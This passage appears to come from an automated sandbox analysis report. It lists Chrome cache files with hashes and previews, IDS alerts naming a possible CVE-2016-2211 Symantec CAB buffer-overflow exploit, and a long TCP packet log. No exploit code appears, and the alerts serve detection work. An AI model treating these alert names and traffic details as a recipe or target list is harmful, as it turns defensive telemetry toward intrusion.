Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46591)
Category:	downloaded
Size (bytes):	142367
Entropy (8bit):	5.430597817875451
Encrypted:	false
SSDEEP:	1536:PyeDWgSr6fTPRUbx3XCg/MJA5NOii5WLeVdgWLDY2Js0VgtWyTJmxyAXP3onrGGK:IgD1g/Mq5L9EveUynbBwsIccp
MD5:	CCAA31FD031C4C856EB7B986FD9F447B
SHA1:	0A809EABCDB95FA04DE5F8409B3BC994ED65CBD1
SHA-256:	3D40B4129B8B4C284908636AE46D72EA053F286FB5FE45DB78351B5B2CFC1EB9
SHA-512:	4B5B2271DB5F640FEBF13A7C0BDBD630C73530000F1593046D090585D1752E239D894614E23E801BE4C6A379406B6EF521423FA27C3865C3CD4ABB0A64823780
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function t(t){for(var n,r,i=t[0],a=t[1],s=0,u=[];s<i.length;s++)

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Reputation:	low
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 91 x 6, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.014960565232002
Encrypted:	false
SSDEEP:	3:yionv//thPlu5tnluBxl/k4E08up:6v/lhPOkB7Tp
MD5:	B8995E69F2A17892172D6A7EECED2560
SHA1:	8750013F5762041A55664D8083BE26A5C4E15B6E
SHA-256:	600EBA9D44A0EA611739A488D0006FD812063A2A47840483919EBD1C35D762EC
SHA-512:	14776F93D04D390B445AEACF833DDAAA03A6BD661FA222EB83D8BEB0A62235DC279275F77C07768BC94CED5C21B3B11DA53ED6F3946E34077C3CBCCAC4DB3571
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8db68aefa9dee71a/1730408094291/1DUK2cFFx0Ov71K
Preview:	.PNG........IHDR...[.........#Du.....IDAT.....$.....IEND.B`.

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-31T21:54:56.501703+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	172.202.163.200	443	192.168.2.16	49746	TCP
2024-10-31T21:55:19.925194+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.16	51035	TCP
2024-10-31T21:55:21.666406+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.16	51038	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 21:54:45.186692953 CET	49673	443	192.168.2.16	204.79.197.203
Oct 31, 2024 21:54:45.489113092 CET	49673	443	192.168.2.16	204.79.197.203
Oct 31, 2024 21:54:46.091173887 CET	49673	443	192.168.2.16	204.79.197.203
Oct 31, 2024 21:54:47.085652113 CET	49706	443	192.168.2.16	3.132.253.175
Oct 31, 2024 21:54:47.085700035 CET	443	49706	3.132.253.175	192.168.2.16
Oct 31, 2024 21:54:47.085753918 CET	49706	443	192.168.2.16	3.132.253.175
Oct 31, 2024 21:54:47.086178064 CET	49706	443	192.168.2.16	3.132.253.175
Oct 31, 2024 21:54:47.086201906 CET	443	49706	3.132.253.175	192.168.2.16
Oct 31, 2024 21:54:47.086678982 CET	49707	443	192.168.2.16	3.132.253.175
Oct 31, 2024 21:54:47.086721897 CET	443	49707	3.132.253.175	192.168.2.16
Oct 31, 2024 21:54:47.086788893 CET	49707	443	192.168.2.16	3.132.253.175
Oct 31, 2024 21:54:47.087016106 CET	49707	443	192.168.2.16	3.132.253.175
Oct 31, 2024 21:54:47.087030888 CET	443	49707	3.132.253.175	192.168.2.16
Oct 31, 2024 21:54:47.296746016 CET	49673	443	192.168.2.16	204.79.197.203
Oct 31, 2024 21:54:47.824311018 CET	443	49707	3.132.253.175	192.168.2.16
Oct 31, 2024 21:54:47.824525118 CET	443	49706	3.132.253.175	192.168.2.16
Oct 31, 2024 21:54:47.824712038 CET	49707	443	192.168.2.16	3.132.253.175
Oct 31, 2024 21:54:47.824733973 CET	443	49707	3.132.253.175	192.168.2.16
Oct 31, 2024 21:54:47.824734926 CET	49706	443	192.168.2.16	3.132.253.175
Oct 31, 2024 21:54:47.824762106 CET	443	49706	3.132.253.175	192.168.2.16
Oct 31, 2024 21:54:47.825686932 CET	443	49707	3.132.253.175	192.168.2.16
Oct 31, 2024 21:54:47.825705051 CET	443	49706	3.132.253.175	192.168.2.16
Oct 31, 2024 21:54:47.825766087 CET	49707	443	192.168.2.16	3.132.253.175
Oct 31, 2024 21:54:47.826778889 CET	49706	443	192.168.2.16	3.132.253.175
Oct 31, 2024 21:54:47.826778889 CET	49706	443	192.168.2.16	3.132.253.175
Oct 31, 2024 21:54:47.826843977 CET	443	49706	3.132.253.175	192.168.2.16
Oct 31, 2024 21:54:47.826915979 CET	49707	443	192.168.2.16	3.132.253.175
Oct 31, 2024 21:54:47.826967955 CET	443	49707	3.132.253.175	192.168.2.16
Oct 31, 2024 21:54:47.827029943 CET	49706	443	192.168.2.16	3.132.253.175
Oct 31, 2024 21:54:47.827038050 CET	443	49706	3.132.253.175	192.168.2.16
Oct 31, 2024 21:54:47.870088100 CET	49707	443	192.168.2.16	3.132.253.175
Oct 31, 2024 21:54:47.870095015 CET	49706	443	192.168.2.16	3.132.253.175
Oct 31, 2024 21:54:47.870099068 CET	443	49707	3.132.253.175	192.168.2.16
Oct 31, 2024 21:54:47.918076992 CET	49707	443	192.168.2.16	3.132.253.175
Oct 31, 2024 21:54:48.180586100 CET	49689	80	192.168.2.16	192.229.211.108
Oct 31, 2024 21:54:48.354219913 CET	443	49706	3.132.253.175	192.168.2.16
Oct 31, 2024 21:54:48.354290962 CET	443	49706	3.132.253.175	192.168.2.16
Oct 31, 2024 21:54:48.354345083 CET	49706	443	192.168.2.16	3.132.253.175
Oct 31, 2024 21:54:48.354823112 CET	49706	443	192.168.2.16	3.132.253.175
Oct 31, 2024 21:54:48.354841948 CET	443	49706	3.132.253.175	192.168.2.16
Oct 31, 2024 21:54:48.364308119 CET	49711	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:48.369544983 CET	53	49711	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:48.369630098 CET	49711	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:48.369704008 CET	49711	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:48.369704008 CET	49711	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:48.375061035 CET	53	49711	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:48.375070095 CET	53	49711	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:48.414175987 CET	49711	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:48.414570093 CET	49712	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:54:48.414602995 CET	443	49712	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:48.414694071 CET	49712	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:54:48.415395975 CET	49712	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:54:48.415420055 CET	443	49712	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:48.463439941 CET	53	49711	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:48.855591059 CET	53	49711	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:48.855673075 CET	49711	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:49.066520929 CET	443	49712	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:49.066821098 CET	49712	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:54:49.066843987 CET	443	49712	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:49.067708969 CET	443	49712	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:49.067821026 CET	49712	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:54:49.068697929 CET	49712	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:54:49.068756104 CET	443	49712	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:49.068850994 CET	49712	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:54:49.068860054 CET	443	49712	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:49.117098093 CET	49712	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:54:49.538878918 CET	443	49712	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:49.538923025 CET	443	49712	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:49.538994074 CET	49712	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:54:49.539011955 CET	443	49712	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:49.539052963 CET	443	49712	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:49.539082050 CET	443	49712	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:49.539098024 CET	49712	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:54:49.539105892 CET	443	49712	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:49.539144039 CET	49712	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:54:49.539463997 CET	443	49712	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:49.539518118 CET	443	49712	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:49.539561987 CET	49712	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:54:49.539570093 CET	443	49712	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:49.580221891 CET	49712	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:54:49.580240011 CET	443	49712	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:49.616267920 CET	443	49712	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:49.616421938 CET	443	49712	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:49.616446018 CET	443	49712	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:49.616449118 CET	49712	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:54:49.616461039 CET	443	49712	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:49.616488934 CET	49712	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:54:49.617477894 CET	443	49712	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:49.617531061 CET	49712	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:54:49.617538929 CET	443	49712	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:49.617585897 CET	443	49712	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:49.617624998 CET	49712	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:54:49.617630005 CET	443	49712	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:49.617670059 CET	443	49712	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:49.617710114 CET	49712	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:54:49.617840052 CET	49712	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:54:49.617855072 CET	443	49712	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:49.628887892 CET	49717	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:49.628933907 CET	443	49717	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:49.629031897 CET	49717	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:49.629612923 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:49.629658937 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:49.629714966 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:49.630455017 CET	49717	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:49.630469084 CET	443	49717	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:49.630680084 CET	49719	443	192.168.2.16	162.19.58.157
Oct 31, 2024 21:54:49.630695105 CET	443	49719	162.19.58.157	192.168.2.16
Oct 31, 2024 21:54:49.630743980 CET	49719	443	192.168.2.16	162.19.58.157
Oct 31, 2024 21:54:49.631639004 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:49.631659031 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:49.631797075 CET	49719	443	192.168.2.16	162.19.58.157
Oct 31, 2024 21:54:49.631809950 CET	443	49719	162.19.58.157	192.168.2.16
Oct 31, 2024 21:54:49.708220005 CET	49673	443	192.168.2.16	204.79.197.203
Oct 31, 2024 21:54:50.256875038 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.257105112 CET	443	49717	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:50.257256031 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.257282019 CET	49717	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:50.257285118 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.257314920 CET	443	49717	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:50.258141041 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.258218050 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.258218050 CET	443	49717	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:50.258275986 CET	49717	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:50.259118080 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.259176970 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.259290934 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.259305954 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.259366035 CET	49717	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:50.259433985 CET	443	49717	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:50.259490967 CET	49717	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:50.259504080 CET	443	49717	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:50.310250044 CET	49717	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:50.310264111 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.403146982 CET	443	49717	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:50.403214931 CET	443	49717	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:50.403435946 CET	49717	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:50.403773069 CET	49717	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:50.403795958 CET	443	49717	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:50.405359030 CET	49721	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:50.405390978 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:50.405487061 CET	49721	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:50.405687094 CET	49721	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:50.405699015 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:50.407018900 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.407152891 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.407183886 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.407210112 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.407252073 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.407330036 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.407345057 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.407643080 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.407669067 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.407715082 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.407727957 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.407792091 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.407807112 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.454093933 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.454108953 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.467612982 CET	443	49719	162.19.58.157	192.168.2.16
Oct 31, 2024 21:54:50.467951059 CET	49719	443	192.168.2.16	162.19.58.157
Oct 31, 2024 21:54:50.467968941 CET	443	49719	162.19.58.157	192.168.2.16
Oct 31, 2024 21:54:50.468843937 CET	443	49719	162.19.58.157	192.168.2.16
Oct 31, 2024 21:54:50.468934059 CET	49719	443	192.168.2.16	162.19.58.157
Oct 31, 2024 21:54:50.469783068 CET	49719	443	192.168.2.16	162.19.58.157
Oct 31, 2024 21:54:50.469856024 CET	443	49719	162.19.58.157	192.168.2.16
Oct 31, 2024 21:54:50.469978094 CET	49719	443	192.168.2.16	162.19.58.157
Oct 31, 2024 21:54:50.469990969 CET	443	49719	162.19.58.157	192.168.2.16
Oct 31, 2024 21:54:50.502113104 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.518244028 CET	49719	443	192.168.2.16	162.19.58.157
Oct 31, 2024 21:54:50.539182901 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.539364100 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.539398909 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.539427042 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.539427996 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.539458036 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.539477110 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.539930105 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.539963007 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.539974928 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.539982080 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.540026903 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.540127993 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.540509939 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.540555954 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.540561914 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.540638924 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.540678978 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.540688038 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.540925026 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.540957928 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.540966988 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.540973902 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.541011095 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.541522026 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.541892052 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.541934013 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.541939020 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.541974068 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.542012930 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.542017937 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.581134081 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.658210039 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.658282995 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.658312082 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.658340931 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.658371925 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.658416033 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.658444881 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.658716917 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.658775091 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.658790112 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.659025908 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.659055948 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.659075975 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.659087896 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.659147978 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.659281015 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.659713030 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.659769058 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.659781933 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.659830093 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.659967899 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.660017014 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.660027981 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.660088062 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.660649061 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.660707951 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.660851955 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.660908937 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.661432981 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.661489010 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.661832094 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.661890984 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.662229061 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.662292004 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.662475109 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.662534952 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.662751913 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.662813902 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.663255930 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.663337946 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.707540989 CET	443	49719	162.19.58.157	192.168.2.16
Oct 31, 2024 21:54:50.707617998 CET	443	49719	162.19.58.157	192.168.2.16
Oct 31, 2024 21:54:50.707746029 CET	49719	443	192.168.2.16	162.19.58.157
Oct 31, 2024 21:54:50.708051920 CET	49719	443	192.168.2.16	162.19.58.157
Oct 31, 2024 21:54:50.708091974 CET	443	49719	162.19.58.157	192.168.2.16
Oct 31, 2024 21:54:50.709634066 CET	49722	443	192.168.2.16	162.19.58.157
Oct 31, 2024 21:54:50.709693909 CET	443	49722	162.19.58.157	192.168.2.16
Oct 31, 2024 21:54:50.709774971 CET	49722	443	192.168.2.16	162.19.58.157
Oct 31, 2024 21:54:50.709979057 CET	49722	443	192.168.2.16	162.19.58.157
Oct 31, 2024 21:54:50.710000992 CET	443	49722	162.19.58.157	192.168.2.16
Oct 31, 2024 21:54:50.777328014 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.777519941 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.777796984 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.777833939 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.777852058 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.777862072 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.777898073 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.778388977 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.778419971 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.778446913 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.778451920 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.778479099 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.779097080 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.779131889 CET	443	49718	104.19.230.21	192.168.2.16
